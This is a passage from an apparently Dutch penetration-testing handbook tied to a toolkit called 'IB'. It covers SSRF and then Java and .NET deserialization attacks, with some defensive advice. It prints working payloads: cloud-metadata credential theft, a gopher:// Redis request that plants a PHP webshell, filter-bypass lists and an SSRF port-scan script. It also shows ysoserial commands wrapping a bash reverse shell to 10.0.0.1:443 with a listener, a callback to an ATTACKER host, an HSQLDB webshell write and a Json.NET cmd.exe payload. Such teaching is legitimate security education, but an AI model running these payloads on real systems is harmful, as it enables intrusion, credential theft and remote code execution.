Optie B: Als directe SSRF geblokkeerd is maar redirects werken, kun je je eigen redirect opzetten of IB’s routing aanpassen.

Stap 3: Gebruik de credentials

Met de AccessKeyId, SecretAccessKey en Token kun je de AWS CLI configureren:

export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalrX..."
export AWS_SESSION_TOKEN="FwoGZX..."

# Nu kun je AWS API-calls maken als de server
aws s3 ls
aws iam list-users
aws ec2 describe-instances

Van een URL-invoerveld in een webapplicatie naar volledige AWS-toegang. In drie stappen. Dit is waarom SSRF in cloud-omgevingen een van de meest impactvolle kwetsbaarheden is die je kunt vinden.

IB – Test elk redirect-endpoint systematisch. Begin met /ssrf/aws en werk de lijst af. De Docker-endpoint (/ssrf/docker) wordt vaak vergeten maar kan in containerized omgevingen de meest verwoestende resultaten opleveren. Documenteer welke redirects gevolgd worden door de applicatie – dit zegt iets over de SSRF-filter die al dan niet aanwezig is.

IB – Alle SSRF-endpoints accepteren HEAD, GET en POST. Test alle drie de methoden. Sommige applicaties gebruiken HEAD voor URL-validatie (om te controleren of de URL bereikbaar is) en volgen daarbij ook redirects. Dit kan een ingang zijn, zelfs als de eigenlijke functie GET gebruikt.

Protocol smuggling: als HTTP niet genoeg is

SSRF gaat niet alleen over HTTP. Afhankelijk van de bibliotheek die de server gebruikt voor het doen van requests, kunnen ook andere protocollen beschikbaar zijn. En sommige van die protocollen zijn angstaanjagend krachtig.

file:// – Lokale bestanden lezen

Het meest voor de hand liggende alternatieve protocol:

file:///etc/passwd
file:///etc/hostname
file:///proc/self/environ
file:///var/www/html/config.php
file:///C:/windows/win.ini

/proc/self/environ is bijzonder interessant: het bevat de omgevingsvariabelen van het actieve proces. Database-wachtwoorden, API-keys, secret tokens – alles wat via environment variables is geconfigureerd (en dat is tegenwoordig de aanbevolen manier van configuratie, ironisch genoeg) staat daar.

Het IB SSRF Lab biedt twee redirect-endpoints voor lokale bestanden: /ssrf/passwd voor Linux en /ssrf/winini voor Windows. Ze zijn bedoeld als snelle proof-of-concept: als een van deze werkt, weet je dat de SSRF file:// ondersteunt en kun je gericht zoeken naar gevoelige bestanden.

gopher:// – Het Zwitsers zakmes

En dan is er gopher://. Een protocol uit 1991 dat bedoeld was als een soort gestructureerd internet voordat het web bestond. Vrijwel niemand gebruikt het nog voor zijn oorspronkelijke doel. Maar voor SSRF is het goud waard.

Gopher laat je willekeurige TCP-data sturen naar elke poort. Het is alsof je een onbeperkt aanpasbaar HTTP-request hebt, maar dan voor elk TCP-protocol. De syntax is eigenaardig – het eerste karakter van het pad wordt afgeknipt, dus je begint met een underscore als padding – maar de mogelijkheden zijn enorm.

HTTP-request via gopher:

gopher://127.0.0.1:80/_GET%20/admin%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0a

Dit stuurt een HTTP GET-request naar /admin op localhost poort 80. Handig als de SSRF-filter HTTP-URL’s naar localhost blokkeert, maar gopher doorlaat.

Redis via gopher:

gopher://127.0.0.1:6379/_SET%20shell%20%22<%3fphp%20system($_GET['cmd'])%3b%20%3f>%22%0d%0aCONFIG%20SET%20dir%20/var/www/html%0d%0aCONFIG%20SET%20dbfilename%20shell.php%0d%0aSAVE%0d%0a

Dit is waar het echt gevaarlijk wordt. Dit gopher-request: 1. Schrijft een PHP-webshell naar een Redis-key 2. Configureert Redis om zijn database op te slaan in de webroot 3. Slaat op – en nu staat er een webshell op de server

Van SSRF naar Remote Code Execution via een Redis die “alleen intern bereikbaar” was. De onzichtbare hand van de vrije markt heeft hier gefaald.

Memcached via gopher:

Vergelijkbaar met Redis. Als Memcached op het interne netwerk draait zonder authenticatie (standaard), kun je via gopher data injecteren, cachewaarden manipuleren, en soms sessieopslag saboteren.

dict:// – Service fingerprinting

Het dict-protocol is ontworpen voor woordenboek-lookups. In de context van SSRF is het nuttig voor service banner grabbing:

dict://127.0.0.1:6379/INFO
dict://127.0.0.1:11211/stats

Het eerste commando haalt Redis-informatie op. Het tweede haalt Memcached- statistieken op. Niet zo krachtig als gopher, maar goed voor verkenning.

Localhost bypass: als 127.0.0.1 geblokkeerd is

Veel SSRF-filters blokkeren 127.0.0.1 en localhost. Maar er zijn talloze manieren om hetzelfde IP-adres te schrijven:

http://127.0.0.1       # Standaard
http://0.0.0.0         # Alle interfaces
http://[::1]           # IPv6 loopback
http://0177.0.0.1      # Octaal
http://2130706433      # Decimaal
http://0x7f000001      # Hexadecimaal
http://127.1           # Verkorte notatie
http://localtest.me    # DNS-naam die naar 127.0.0.1 resolvet

Elk van deze verwijst naar hetzelfde adres, maar een naieve filter die alleen op de string “127.0.0.1” controleert, laat ze allemaal door. Het is alsof je een uitsmijter hebt die mensen weigert die “Jan” heten, maar “Johannes”, “Johan”, “Jansen”, en “J.” gewoon doorlaat.

IB – Het commando web_ssrf_protocols bevat een complete referentie voor alternatieve URL-schema’s: file:// voor lokale bestanden, gopher:// voor willekeurige TCP-communicatie, dict:// voor service fingerprinting, en een uitgebreide lijst localhost-bypass varianten. Raadpleeg dit commando wanneer HTTP-gebaseerde SSRF geblokkeerd lijkt te zijn.

Interne port scanning via SSRF

Een SSRF-kwetsbaarheid is niet alleen een manier om data te stelen. Het is ook een scanner. Door systematisch interne IP-adressen en poorten te benaderen via de SSRF, kun je het interne netwerk in kaart brengen zonder er fysiek toegang toe te hebben.

Hoe het werkt

Het principe is eenvoudig: je stuurt SSRF-requests naar interne IP’s en poorten en observeert de respons. De verschillen in respons vertellen je of een poort open of dicht is:

Het verschil in responstijd is vaak het meest betrouwbare signaal. Een “connection refused” op poort 3306 komt binnen milliseconden terug. Een open MySQL-poort die een onherkenbaar protocol-request ontvangt, wacht een paar seconden voordat hij opgeeft. Dat tijdsverschil is je kompas.

Veelgezochte interne poorten

22    - SSH
80    - HTTP
443   - HTTPS
3306  - MySQL
5432  - PostgreSQL
6379  - Redis
8080  - Tomcat / alternatief HTTP
8443  - Alternatief HTTPS
9200  - Elasticsearch
27017 - MongoDB

Subnet scanning

In de meeste interne netwerken zijn de RFC 1918-ranges in gebruik:

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

Begin bij de meest waarschijnlijke subnetten en scan de eerste paar adressen:

http://10.0.0.1:PORT
http://172.16.0.1:PORT
http://192.168.1.1:PORT

Microservice discovery

In moderne architecturen draaien diensten vaak als microservices met voorspelbare hostnamen:

http://api-gateway:8000
http://auth-service:3000
http://user-service:5000
http://admin:8080

In Docker-omgevingen:

http://host.docker.internal:PORT

In Kubernetes:

http://SERVICE.NAMESPACE.svc.cluster.local

Geautomatiseerd scannen

Een Python-scriptje om port scanning via SSRF te automatiseren:

import requests

ssrf_url = "http://target.com/api/preview"

ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200, 27017]

for port in ports:
    try:
        r = requests.post(
            ssrf_url,
            json={"url": f"http://127.0.0.1:{port}/"},
            timeout=5
        )
        print(f"Port {port}: {r.status_code} - {len(r.content)} bytes "
              f"- {r.elapsed.total_seconds():.2f}s")
    except requests.Timeout:
        print(f"Port {port}: TIMEOUT (mogelijk open)")
    except Exception as e:
        print(f"Port {port}: ERROR - {e}")

Let op de drie datapunten: statuscode, response-grootte, en responstijd. Elk kan informatie bevatten. Een 500-error met 2000 bytes is anders dan een 500-error met 200 bytes – de eerste bevat waarschijnlijk een foutmelding van de interne service.

IB – Het commando web_ssrf_scan bevat een referentie voor veelgebruikte interne poorten, subnet-ranges, microservice-hostnamen en een Python- scannerscript. De command-tips benadrukken dat response time-verschil de meest betrouwbare indicator is, maar dat error message-verschil nog betrouwbaarder is. Combineer beide methoden voor het beste resultaat.

Blind SSRF: als de server niets teruggeeft

Net als bij blind XXE is er ook blind SSRF: de server doet het request, maar je ziet niets van de respons. De applicatie toont geen inhoud, geen foutmelding, geen verschil in gedrag. Alles wat je weet is dat de server ergens een request naartoe heeft gestuurd.

Bevestiging via callback

De eenvoudigste manier om blind SSRF te bevestigen is een callback naar een server die je controleert:

http://JOUW_SERVER/ssrf_confirm

Als je in je access log een inkomend request ziet, weet je dat de SSRF werkt. De User-Agent header van dat request is vaak verhelderend: python-requests/2.28, Java/11.0.2, curl/7.68 – het vertelt je welke library de server gebruikt, wat weer hints geeft over welke protocollen en features beschikbaar zijn.

DNS-based detectie

Als HTTP-callbacks geblokkeerd zijn, kun je DNS gebruiken:

http://uniek-id.jouw-domein.com/

De server moet een DNS-lookup doen om deze URL te resolven, zelfs als het HTTP-request zelf geblokkeerd wordt. Op je DNS-server zie je de query binnenkomen. Dit is dezelfde techniek als bij blind XXE – DNS is het kanaal dat bijna nooit geblokkeerd wordt.

Van blind SSRF naar impact

Blind SSRF is lastiger te exploiteren, maar niet waardeloos:

Het verschil tussen blind en niet-blind SSRF is het verschil tussen een inbreker die kan zien wat hij doet en een inbreker die in het donker werkt. De een is efficienter, maar de ander kan nog steeds schade aanrichten.

SSRF filter bypasses: een kat-en-muisspel

Verdedigers implementeren filters. Aanvallers omzeilen ze. Het is een eeuwig kat-en-muisspel, en de kat verliest vaker dan je zou willen.

IP-adres notatie-varianten

We zagen al de localhost-varianten. Hetzelfde geldt voor elk intern IP-adres. 10.0.0.1 kan ook worden geschreven als:

http://10.0.0.1        # Standaard
http://0xa000001       # Hexadecimaal
http://167772161       # Decimaal
http://012.0.0.1       # Octaal
http://10.0.0.1.nip.io # DNS-service die naar het IP resolvet

DNS rebinding

Een geavanceerde techniek waarbij je een domein configureert dat afwisselend naar een extern en een intern IP-adres resolvet. De filter controleert het domein, krijgt het externe IP, en laat het door. Wanneer de server het eigenlijke request doet, resolvet het domein opeens naar een intern IP.

Dit vereist controle over een DNS-server en is complexer om op te zetten, maar het omzeilt vrijwel elke filter die alleen het IP-adres controleert op het moment van validatie.

URL-parsing discrepanties

Verschillende componenten parsen URL’s anders. Een filter kan een URL interpreteren als verwijzend naar een extern IP, terwijl de HTTP-client die het request doet, dezelfde URL interpreteert als intern:

http://evil.com@127.0.0.1/
http://127.0.0.1#@evil.com
http://127.0.0.1\@evil.com

De eerste URL bevat een gebruikersnaam (evil.com) en een hostname (127.0.0.1). Als de filter alleen naar het domein kijkt en evil.com extraheert, laat hij de URL door. Maar de HTTP-client verbindt met 127.0.0.1.

Open redirects als SSRF-proxy

En hier komen de IB redirect-endpoints weer terug. Een open redirect op een vertrouwde server is een SSRF-filter-bypass. De filter ziet een URL naar ib-server.com (extern, vertrouwd), maar de redirect stuurt het request door naar 169.254.169.254.

Dit is precies waarvoor IB’s SSRF Lab is ontworpen: het biedt een batterij aan redirect-endpoints die je kunt inzetten wanneer directe SSRF geblokkeerd is maar redirects gevolgd worden.

SSRF en XXE: de heilige alliantie

In het vorige hoofdstuk zagen we al dat XXE en SSRF hand in hand gaan. Een XXE-kwetsbaarheid is bijna per definitie ook een SSRF-kwetsbaarheid, omdat external entities HTTP-requests kunnen doen:

<!DOCTYPE data [
    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>

Dit is tegelijkertijd een XXE (de entity wordt opgelost) en een SSRF (de server doet een request naar een intern adres). Het is als twee-voor-de-prijs- van-een, maar dan met kwetsbaarheden.

Als je een XXE vindt, test altijd op SSRF. En als je een SSRF vindt in een XML-endpoint, test altijd op XXE. De kans is groot dat je beide hebt.

Verdediging: hoe je voorkomt dat je server een proxy wordt

Allowlists, geen blocklists

De eerste en belangrijkste regel: gebruik een allowlist, geen blocklist. Definieer welke domeinen en IP-ranges de server mag benaderen, en blokkeer al het andere.

Een blocklist die “127.0.0.1” en “169.254.169.254” blokkeert, is als een dam met twee vingers in de gaten terwijl de rest van de dam uit kaas bestaat. Je kunt niet alle mogelijke bypass-varianten blocklisten. Er zijn er te veel, en er worden er steeds meer uitgevonden.

Een allowlist draait de logica om: alleen expliciet toegestane bestemmingen zijn bereikbaar. Alles wat niet op de lijst staat, wordt geblokkeerd. Simpel, effectief, en bestand tegen creatieve bypass-technieken.

Valideer na DNS-resolutie

Controleer niet alleen de URL die de gebruiker opgeeft, maar ook het IP-adres waarnaar het domein resolvet. En doe die controle direct voor het request, niet eerder. Dit voorkomt DNS-rebinding-aanvallen.

import socket
import ipaddress

def is_safe_url(url):
    hostname = extract_hostname(url)
    ip = socket.gethostbyname(hostname)
    addr = ipaddress.ip_address(ip)

    # Blokkeer private en reserved ranges
    if addr.is_private or addr.is_reserved or addr.is_loopback:
        return False

    # Blokkeer link-local (169.254.x.x)
    if addr.is_link_local:
        return False

    return True

Schakel onnodige protocollen uit

Als je server alleen HTTP en HTTPS nodig heeft, blokkeer dan alle andere protocollen: file://, gopher://, dict://, ftp://. De meeste HTTP- bibliotheken ondersteunen deze protocollen standaard, maar je kunt ze uitschakelen via configuratie.

IMDSv2 afdwingen op AWS

Als je op AWS draait, schakel IMDSv1 uit en gebruik uitsluitend IMDSv2:

aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-endpoint enabled

--http-tokens required betekent dat de metadata-service alleen reageert op requests met een geldig token. Dat token is alleen verkrijgbaar via een PUT-request met een custom header – iets wat de meeste SSRF-kwetsbaarheden niet kunnen.

Egress filtering

Beperk uitgaand verkeer van je servers. Als je webserver alleen hoeft te praten met je database en een paar externe API’s, configureer dan de firewall zo dat alleen die verbindingen zijn toegestaan. Al het andere uitgaande verkeer wordt geblokkeerd.

Dit voorkomt niet dat een SSRF-kwetsbaarheid wordt misbruikt voor interne verkenning, maar het beperkt de impact drastisch. De server kan geen credentials naar een aanvaller sturen als uitgaand verkeer naar willekeurige IP’s geblokkeerd is.

Aparte netwerksegmenten

De metadata-service, de database, de cache-server, de admin-interface – ze horen allemaal niet op hetzelfde netwerksegment als de webserver. Segmenteer je netwerk zodat de webserver alleen kan bereiken wat hij strikt nodig heeft.

Dit is het netwerkequivalent van het principe van least privilege: geef elke component alleen toegang tot wat het nodig heeft en niets meer. Het klinkt vanzelfsprekend. Het gebeurt bijna nooit.

Het eerlijke gesprek over SSRF in 2026

Hier is het ding over SSRF dat niemand hardop zegt: het is een architectuurprobleem dat wordt behandeld als een applicatieprobleem.

De reden dat SSRF werkt, is niet dat ontwikkelaars dom zijn. Het is dat de architectuur van cloud computing – en van interne netwerken in het algemeen – is gebouwd op de aanname dat interne verzoeken vertrouwd zijn. De metadata- service op 169.254.169.254 heeft geen authenticatie. Redis op het interne netwerk heeft geen wachtwoord. De admin-interface is bereikbaar zonder VPN.

Elke keer dat een beveiligingsincident via SSRF plaatsvindt, wordt de schuld gelegd bij de ontwikkelaar die de URL niet valideerde. Maar de ontwikkelaar werkt in een omgeving waar “intern” gelijkstaat aan “veilig”, waar de metadata- service credentials uitdeelt aan iedereen die ernaar vraagt, en waar netwerksegmentatie iets is waar men “nog aan toekomt”.

SSRF is niet het probleem. SSRF is het symptoom. Het echte probleem is dat we in 2026 nog steeds systemen bouwen die vertrouwen op de vraag “waar komt dit request vandaan?” in plaats van op de vraag “wie stuurt dit request en mag die persoon dit doen?”

Totdat we die fundamentele verschuiving maken – van netwerk-gebaseerd vertrouwen naar identiteit-gebaseerd vertrouwen, van implicit trust naar zero trust – zal SSRF blijven bestaan. En zullen penetratietesters als een soort digitale huisartsen steeds hetzelfde recept uitschrijven: “U moet echt iets aan die bloeddruk doen.” “Ja dokter, ik kom er nog wel aan toe.”

Het verschil is dat als je je bloeddruk negeert, je zelf de consequenties draagt. Als je SSRF negeert, draagt je klant de consequenties. En je klant weet niet eens dat de metadata-service geen authenticatie heeft. Die vertrouwt erop dat jij dat geregeld hebt.

De server doet gewoon wat je vraagt. Misschien is het tijd dat we de server leren om nee te zeggen.

Samenvatting

SSRF is de kwetsbaarheid die laat zien hoe fragiel het concept van een “vertrouwd intern netwerk” is. Het transformeert een webserver van een gecontroleerd toegangspunt in een springplank naar alles wat intern bereikbaar is. Cloud metadata, interne services, databases, caches – alles is een URL verwijderd.

De verdediging vereist meer dan een URL-filter. Het vereist architecturale veranderingen: allowlists in plaats van blocklists, IMDSv2 in plaats van IMDSv1, netwerksegmentatie, egress filtering, en het verlaten van de aanname dat intern verkeer vertrouwd is.

IB biedt met het SSRF Redirect Lab en de bijbehorende command files een complete toolkit om SSRF te testen in gecontroleerde omgevingen. Van cloud metadata tot protocol smuggling, van interne port scanning tot filter bypass – alles wat je nodig hebt om een organisatie te tonen hoe kwetsbaar hun “interne” netwerk werkelijk is.

Referenties

Bron URL
OWASP SSRF Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
PortSwigger Web Security Academy – SSRF https://portswigger.net/web-security/ssrf
PayloadsAllTheThings – SSRF https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
AWS IMDSv2 Documentatie https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
GCP Metadata Server https://cloud.google.com/compute/docs/metadata/overview
Azure Instance Metadata Service https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
Orange Tsai – SSRF Research https://blog.orange.tw/
IB Command: web_ssrf_cloud Command Library in het IB dashboard
IB Command: web_ssrf_protocols Command Library in het IB dashboard
IB Command: web_ssrf_scan Command Library in het IB dashboard
IB SSRF Lab: ssrf_bp blueprint meuk/flask/ssrf.py

Deserialisatie en Type Confusion

Deserialisatie en Type Confusion

De koffer die je niet had ingepakt

Stel je voor dat je op vakantie gaat. Je pakt zorgvuldig je koffer in: shirts netjes gevouwen, schoenen in een zakje, toilettas bovenop. Bij aankomst in het hotel doe je de koffer open en alles zit er precies zo in als je het erin hebt gestopt. Dat is serialisatie en deserialisatie in een notendop. Je neemt een complex geheel — een garderobekast vol objecten — en perst het plat tot iets dat door een smal kanaal past (een kofferband, een netwerkverbinding, een database-kolom). Aan de andere kant pak je het weer uit en voila: alles staat weer op z’n plek.

Klinkt onschuldig. Is het ook, zolang jij degene bent die de koffer inpakt en jij degene bent die hem weer openmaakt.

Maar nu het leuke deel. Stel dat iemand anders je koffer inpakt. Iemand die je niet kent. Iemand die misschien, laten we zeggen, een stuk C4 tussen je overhemden heeft gestopt met een draadje aan de rits. Je maakt de koffer open en — boem.

Dat is deserialisatie-aanvallen in het kort. Je applicatie verwacht braaf ingepakte objecten, maar krijgt een zorgvuldig geconstrueerde bom aangeleverd. En het mooiste? De applicatie maakt die bom vrolijk open, want hij vertrouwt de koffer.

Het is een van die kwetsbaarheden waarvan je denkt: dit kan toch niet echt werken? Wie accepteert er nou willekeurige objecten van het internet en voert ze uit? Het antwoord, zoals zo vaak in de informatiebeveiliging, is: vrijwel iedereen.

Java doet het. .NET doet het. PHP doet het. Python doet het. Ruby doet het. Elke taal die ooit het briljante idee heeft gehad om objecten te serialiseren en weer te deserialiseren — wat ze allemaal hebben gedaan — heeft dit probleem. Het verschilt alleen in de manier waarop het misgaat en hoe spectaculair de explosie is.

In dit hoofdstuk gaan we door de grootste deserialisatie-rampen van de afgelopen tien jaar. We beginnen met de basis, lopen door Java’s beruchte gadget chains, maken kennis met .NET’s ViewState-nachtmerrie, bekijken PHP’s loose comparison-circus, en eindigen met JavaScript’s prototype pollution — een kwetsbaarheid die zo elegant is dat je er bijna respect voor krijgt.

Bijna.

Serialisatie: de basis

Wat is serialisatie?

Serialisatie is het proces van het omzetten van een in-memory object naar een formaat dat kan worden opgeslagen of verzonden. Deserialisatie is het omgekeerde: je neemt die platte data en bouwt het object weer op.

Object in geheugen  →  serialize()  →  bytes/tekst  →  opslag/netwerk
                                                           ↓
Object in geheugen  ←  deserialize() ←  bytes/tekst  ←  ontvanger

Waarom doen we dit? Omdat objecten in het geheugen van je programma leven, en geheugen is vluchtig. Als je een object wilt bewaren (in een database, op schijf, in een cookie) of wilt versturen (over HTTP, via een message queue, tussen microservices), dan moet je het plat slaan tot bytes.

Formaten

Er zijn grofweg drie categorieen:

Tekstgebaseerd (leesbaar voor mensen) - JSON: {"name": "Jan", "role": "admin"} - XML: <user><name>Jan</name><role>admin</role></user> - YAML: key-value pairs met witruimte

Binair (efficienter, niet leesbaar) - Java’s native serialisatie (ObjectOutputStream) - .NET’s BinaryFormatter - Python’s pickle - Protocol Buffers, MessagePack, CBOR

Hybride - PHP’s serialize(): O:4:"User":2:{s:4:"name";s:3:"Jan";s:4:"role";s:5:"admin";} - Base64-gecodeerde binaire data in JSON of cookies

Waar het misgaat

Het fundamentele probleem is dit: bij deserialisatie geef je de afzender controle over welk object er wordt aangemaakt en welke methoden er worden aangeroepen. Als de afzender een aanvaller is, dan kiest die aanvaller welke code jouw server uitvoert.

Bij tekstformaten zoals JSON is het risico beperkt — je krijgt strings, getallen, arrays en objecten zonder gedrag. Maar zodra je binaire formaten gebruikt die volledige objecten kunnen reconstrueren, inclusief hun klassen en methoden, dan geef je de afzender in feite een remote code execution primitief cadeau.

En dat is precies wat Java, .NET en PHP doen.

Java Deserialisatie

De patiënt zero van deserialisatie-aanvallen

Als er een moment was waarop de wereld wakker werd geschud over deserialisatie, dan was het november 2015. Chris Frohoff en Gabriel Lawrence presenteerden op AppSecCali hun onderzoek naar Java deserialisatie- kwetsbaarheden, en het was alsof iemand een granaat in een bijeenkomst van Java-ontwikkelaars gooide.

Het bleek dat vrijwel elke Java-applicatie die ObjectInputStream.readObject() gebruikte — en dat waren er ontelbaar veel — kwetsbaar was voor remote code execution. Niet door een bug in de applicatie zelf, maar door de combinatie van standaard Java-bibliotheken die op het classpath stonden.

Hoe het werkt

Java’s native serialisatie-mechanisme is ingebouwd in de taal. Elke klasse die java.io.Serializable implementeert, kan worden geserialiseerd naar een bytestream en weer teruggehaald:

// Serialisatie: object → bytes
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("data.ser"));
oos.writeObject(myObject);

// Deserialisatie: bytes → object
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.ser"));
Object obj = ois.readObject();  // HIER GAAT HET MIS

Het probleem zit in readObject(). Deze methode doet niet alleen het object reconstrueren — het voert ook de readObject()-methode van het object zelf uit, als die bestaat. En bepaalde klassen in veelgebruikte bibliotheken hebben readObject()-implementaties die, als je ze slim aan elkaar knoopt, willekeurige code uitvoeren.

Gadget chains

Een gadget chain is een keten van bestaande klassen die, wanneer ze in de juiste volgorde worden geserialiseerd en gedeserialiseerd, leiden tot code execution. Denk aan een Rube Goldberg-machine van Java-objecten: het ene object roept een methode aan op het volgende, dat weer iets doet met het volgende, totdat uiteindelijk Runtime.exec() wordt aangeroepen.

De beroemdste chains komen uit Apache Commons Collections:

InvokerTransformer
    → ChainedTransformer
        → ConstantTransformer
            → TransformedMap
                → AnnotationInvocationHandler.readObject()
                    → Runtime.getRuntime().exec("COMMANDO")

Zes klassen. Allemaal standaard beschikbaar in vrijwel elke Java-applicatie die Apache Commons gebruikt — en dat is zo’n beetje elke Java-applicatie ooit geschreven.

ysoserial: het Zwitserse zakmes

ysoserial is de tool die dit allemaal toegankelijk maakt. Het genereert serialisatie-payloads voor tientallen gadget chains:

# Basis payload: voer 'id' uit via CommonsCollections1
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# Reverse shell via CommonsCollections5 (base64 gecodeerd commando)
java -jar ysoserial.jar CommonsCollections5 \
  'bash -c {echo,BASE64_REVERSE_SHELL}|{base64,-d}|{bash,-i}' > payload.bin

# Base64 output (handig voor HTTP parameters)
java -jar ysoserial.jar CommonsCollections1 'id' | base64

De {echo,BASE64}|{base64,-d}|{bash,-i} constructie is een truc om speciale tekens te vermijden in het commando. Je base64-encodeert je reverse shell, en laat bash het decoderen en uitvoeren.

Beschikbare gadget chains

Niet elke chain werkt op elk doel. Het hangt af van welke bibliotheken op het classpath van de server staan:

Gadget chain Vereiste bibliotheek
CommonsCollections1-7 Apache Commons Collections 3.x/4.x
Spring1-4 Spring Framework
Groovy1 Groovy
JRMPClient/Listener Java RMI (standaard JDK)
Hibernate1 Hibernate ORM
CommonsBeanutils1 Apache Commons Beanutils
Jdk7u21 JDK 7u21 (geen extra libs nodig)

Herkenning: hoe spot je Java serialisatie?

Dit is het makkelijke deel. Java-geserialiseerde objecten hebben een herkenbare handtekening:

Hex (magic bytes):

AC ED 00 05

Base64-gecodeerd:

rO0ABQ

Content-Type header:

Content-Type: application/x-java-serialized-object

Overal waar je rO0AB ziet in base64-data — cookies, parameters, headers, POST bodies — weet je dat er Java-serialisatie plaatsvindt. En overal waar Java-serialisatie plaatsvindt met onvertrouwde input, heb je een potentieel RCE-punt.

HSQLDB: de bonus-route

Soms hoef je niet eens een gadget chain te gebruiken. Als de applicatie HSQLDB als database gebruikt (wat vaker voorkomt dan je denkt, vooral in embedded Java-applicaties), dan kun je via SQL stored procedures direct Java-code uitvoeren:

-- Maak een procedure die commando's uitvoert via Runtime.exec()
CREATE PROCEDURE exec_cmd(IN cmd VARCHAR)
  LANGUAGE JAVA DETERMINISTIC NO SQL
  EXTERNAL NAME 'CLASSPATH:java.lang.Runtime.exec'

-- Of schrijf een webshell naar het filesystem
CREATE PROCEDURE write_file(IN path VARCHAR, IN data VARBINARY(65535))
  LANGUAGE JAVA DETERMINISTIC NO SQL
  EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

CALL write_file('/var/www/html/shell.jsp',
  CAST('webshell_hex' AS VARBINARY(65535)))

Dit werkt omdat HSQLDB Java Language Routines ondersteunt — je kunt willekeurige Java-methoden aanroepen als stored procedures. Als je al SQLi of XXE hebt, is dit een directe escalatie naar RCE.

Het IB commando: web_deser_java

In Incompetent Bastard vind je dit terug als het web_deser_java commando. Het combineert de ysoserial payload-generatie met detectietips en de HSQLDB-route:

IB Tip: Check altijd het classpath van het doelwit voordat je gadget chains probeert. Kijk naar pom.xml, build.gradle, of de lib/ directory voor beschikbare bibliotheken. Geen Apache Commons Collections? Probeer Spring of Hibernate chains. Het classpath bepaalt je aanvalsvlak.

IB Tip: De {echo,BASE64}|{base64,-d}|{bash,-i} constructie in ysoserial omzeilt problemen met speciale tekens in shell-commando’s. Encodeer je reverse shell payload in base64 en laat het doel het zelf decoderen.

Werkend voorbeeld

Stel: je vindt een Java-webapplicatie die een geserialiseerd object accepteert in een POST-parameter. De applicatie gebruikt Apache Tomcat met Commons Collections 3.2.1 op het classpath.

Stap 1: Detectie

# Intercept het verzoek in Burp Suite
# Zoek naar base64 data die begint met rO0AB
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head -5
# 00000000: aced 0005 7372 0011 6a61 7661 2e75 7469  ....sr..java.uti

De aced 0005 bevestigt: dit is een Java-geserialiseerd object.

Stap 2: Payload genereren

# Test met een eenvoudig commando
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER:8080/test' \
  | base64 -w 0 > payload.b64

# Als dat werkt, reverse shell
REVERSE_SHELL=$(echo 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1' | base64)
java -jar ysoserial.jar CommonsCollections5 \
  "bash -c {echo,${REVERSE_SHELL}}|{base64,-d}|{bash,-i}" \
  | base64 -w 0 > payload.b64

Stap 3: Verzenden

# Vervang de originele parameter met de payload
curl -X POST https://target.com/api/import \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

Stap 4: Luisteren

nc -nlvp 443
# Connection from target.com
# bash-4.4$ id
# uid=1001(tomcat) gid=1001(tomcat)

Zo eenvoudig is het. En dat is het angstaanjagende.

.NET Deserialisatie

Een ander ecosysteem, dezelfde ziekte

Als Java de patiënt zero was, dan is .NET de buurman die exact dezelfde symptomen vertoont maar volhoudt dat hij niet ziek is. Microsoft’s .NET framework heeft zijn eigen serialisatie-mechanismen, zijn eigen gadget chains, en zijn eigen spectaculaire manieren om remote code execution mogelijk te maken.

BinaryFormatter: de gevaarlijkste klasse in .NET

BinaryFormatter is zo gevaarlijk dat Microsoft het officieel als “onveilig” heeft bestempeld en afraadt het te gebruiken. Toch staat het in duizenden legacy-applicaties.

// Serialisatie
BinaryFormatter bf = new BinaryFormatter();
bf.Serialize(stream, myObject);

// Deserialisatie — HIER ONTPLOFT HET
BinaryFormatter bf = new BinaryFormatter();
object obj = bf.Deserialize(stream);  // RCE als de stream van een aanvaller komt

Net als bij Java voert BinaryFormatter code uit tijdens het deserialiseren. De reconstructie van het object triggert constructors, property setters, en callback-methoden die door een aanvaller gemanipuleerd kunnen worden.

ViewState: de verborgen aanvalsvector

ASP.NET’s ViewState is een mechanisme om de staat van een webpagina te bewaren tussen requests. Het is een geserialiseerd .NET-object dat wordt opgeslagen in een hidden form field:

<input type="hidden" name="__VIEWSTATE"
  value="wEPDwUKMTU5MjAzMDA0..." />

Als ViewState niet correct is beveiligd met een MAC (Message Authentication Code), dan kan een aanvaller de inhoud vervangen door een deserialisatie-payload. En raad eens: in oudere versies van ASP.NET was die MAC standaard uitgeschakeld.

TypeNameHandling in Json.NET

Json.NET (Newtonsoft.Json) is de meestgebruikte JSON-bibliotheek in .NET. Het heeft een feature genaamd TypeNameHandling die het mogelijk maakt om type-informatie mee te serialiseren:

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList",
    "$values": ["cmd.exe", "/c calc"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

Als TypeNameHandling is ingesteld op Auto, Objects, of All, dan interpreteert Json.NET het $type-veld en maakt het aangegeven object aan. In bovenstaand voorbeeld: het start cmd.exe via ObjectDataProvider.

ysoserial.net

Het .NET-equivalent van ysoserial is — verrassend genoeg — ysoserial.net. Het genereert payloads voor diverse .NET-serialisatie-formaten:

# ObjectDataProvider via XmlSerializer
